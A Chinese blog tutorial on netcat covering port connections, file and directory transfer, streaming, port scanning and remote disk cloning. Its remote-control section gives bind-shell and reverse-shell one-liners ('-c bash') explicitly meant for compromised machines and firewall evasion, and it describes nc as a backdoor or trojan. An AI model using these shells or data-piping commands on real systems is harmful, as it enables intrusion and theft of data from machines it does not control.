常用命令之NC简介

常用命令之NC简介

NetCat简称NC,是一个非常简单的Unix工具。它被设计成一个可靠的后端(back-end) 工具,能被其它的程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接。NC小巧且功能强大,被称为工具界的“瑞士军刀”。NC的主要特点有:

(1)工具大小为只有60K,适合做后门;

(2)侦听模式/传输模式;

(3)telnet/获取banner信息;

(4)传输文本信息,可以实现简单的聊天程序;

(5)传输文件/目录;

(6)加密传输文件;

(7)远程控制,作为木马使用;

(8)加密所有流量;

(9)实现简单的流媒体服务器;

(10)远程硬盘克隆;

(11)电子取证等。

1. 实现远程端口连接

通过NC可以实现端口的远程连接,连接成功后,可以根据你所连接的类型做相应的操作,如下列所以,成功连接POP3服务器后,就可以进行用户身份的验证,从而进行收发邮件。

# 连接pop3端口
nc -nv 192.168.10.190 110

# 其它端口连接
nc -nv 192.168.10.190 25
nc -nv 192.168.10.190 80

 

2. 文本信息传输

如下实例实现了一个简单的聊天室,服务端与客户端可以实现简单的文本交流。

# 服务端:建立8888口的侦听
nc -lp 8888

# 客户端:通过IP地址连接服务器
nc -nv 192.168.10.2 8888

 

如下实例实现了简单电子取证,可以将客户端用户操作的命令结果反馈给服务器端。

# 服务端:建立8888口的侦听
nc -lp 8888

# 客户端:通过IP地址连接服务器
# 通过管道符“|”将命令结果反馈至服务器
ls -l | nc -nv 192.168.10.2 8888

 

如下实例实现了简单电子取证,可以将客户端用户操作的命令结果反馈给服务器端,服务器端存储成文件。

# 服务端:建立8888口的侦听
# 重定向内容到ps.log文件中
nc -lp 8888 > ps.log

# 客户端:通过IP地址连接服务器
# 通过管道符“|”将命令结果反馈至服务器
# -q 1 显示结果显示结束后1秒断开连接
ps aux | nc -nv 192.168.10.2 8888 -q 1

 

3. 文件及目录传输

如下实例实现了将客户端demo.mp4文件,传送至服务器,服务器端是在客户端发送的同时建立文件。

# 服务端:建立8888口的侦听
# 重定向内容到demo.mp4文件中
nc -lp 8888 > demo.mp4

# 客户端:通过IP地址连接服务器
# 将demo.mp4文件传送至服务器
# -q 1 文件传送结束后1秒断开连接
nc -nv 192.168.10.2 8888 < demo.mp4 -q 1

 

如下实例实现了将服务端demo.mp4文件,传送至客户器,客户端是在服务端发送的同时建立文件。

# 服务端:建立8888口的侦听
# 将demo.mp4文件进行传送
# -q 1 文件传送结束后1秒关闭服务器
nc -lp 8888 < demo.mp4 -q 1

# 客户端:通过IP地址连接服务器
# 生成demo.mp4文件
nc -nv 192.168.10.2 8888 > demo.mp4

 

如下实例通过管道实现了,在服务端将文件打压缩包,打完的同时,将文件传送至客户端,客户端接收到完整的压缩包后,进行解压处理(传输过程是压缩传输的)。

# 服务端
# 压缩文件并传输
tar -cvf - music/ | nc -lp 8888 -q 1

# 客户端
# 连接时接收文件并解压处理
nc -nv 192.168.10.2 8888 | tar -xvf -

 

如下实例实现了文件在传输过程中,进行加密处理,即加密传输。

# 服务端
nc -lp 8888 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > demo.mp4

# 客户端
mcrypt --flush -Fbq -a rijndael-256 -m ecb < demo.mp4 | nc -nv 192.168.10.2 8888 -q 1

 

4. 简单流媒体的实现

如下实例实现了一个简单的流媒体服务器,服务端进行流的展示,客户端实现同步播放。

# 服务端
# 使用cat命令来显示文件,是以流的信息进行输出
cat demo.mp4 | nc -lp 8888

# 客户端
# 使用流媒体客户端接收流并播放
nc -nv 192.168.10.2 | mplayer -vo x11 -cache 3000 -

 

5. 端口扫描器

如下实例实现了端品扫描功能,可以扫描TCP及UDP端口信息。

# 全端口TCP扫描
# -z 为扫描模型,不进行数据交互
nc -nvz 192.168.10.2 1-65535

# UDP 1至1024端口扫描
# -z 为扫描模型,不进行数据交互
# -u 为扫描模型,不进行数据交互
nc -nvzu 192.168.10.2 1-1024

 

6. 远程克隆硬盘

如下实例实现了将目标服务器的硬盘实现远程复制,同样也可以实现内存等远程的复制(此方法可用于电子取证)。

# 服务端
# 通过dd命令来对硬盘实现输出操作
nc -lp 8888 | dd of=/dev/sda

# 客户端
# 通过dd命令来对硬盘实现输入操作
dd if=/dev/sda | nc -nv 192.168.10.2 8888 -q 1

 

7. 远程控制

正向连接:应用环境为被入侵的机器开启服务端,客户端控制服务器,主要用于入侵端没有做任何安全控制的情况。

如下实例实现了服务器侦听8888端口,客户端进行连接,可以实现客户端对服务器端的控制与管理。

# 服务端
# -c bash为执行命令模式,Windows下,要将bash更换为cmd
nc -lp 8888 -c bash

# 客户端
nc 192.168.10.2 8888

 

反向连接:应用环境为控制端即我们的机器做为服务端,让被入侵端主动连接我们,这样解决了一些防火墙不允许正向连接的情况。

如下实例实现了服务器侦听8888端口,客户端进行主动连接,可以实现服务端对客户器端的控制与管理。

# 服务端
nc -lp 8888

# 客户端
# -c bash为执行命令模式,Windows下,要将bash更换为cmd
nc 192.168.10.2 8888 -c bash

 

8. 扩展知识

NC虽然功能非常强大,但缺少身份验证的能力,即侦听某一端后后,任何人都可以使用NC进行连接,所以这里简单介绍一个新的命令ncat,此命令位于nmap工具集中,使用示例如下所示。

# 服务端开启侦听8888端口
# 只允许192.168.10.10访问服务器
# 传输过程使用SSL加密
ncat -c bash --allow 192.168.10.10 -vnl 8888 --ssl

# 客户端连接
ncat -nv 192.168.10.2 8888 --ssl

 

转载请附上原文出处链接及本声明
李老师的博客 » 常用命令之NC简介

发表评论

提供最优质的文章集合

立即查看 了解详情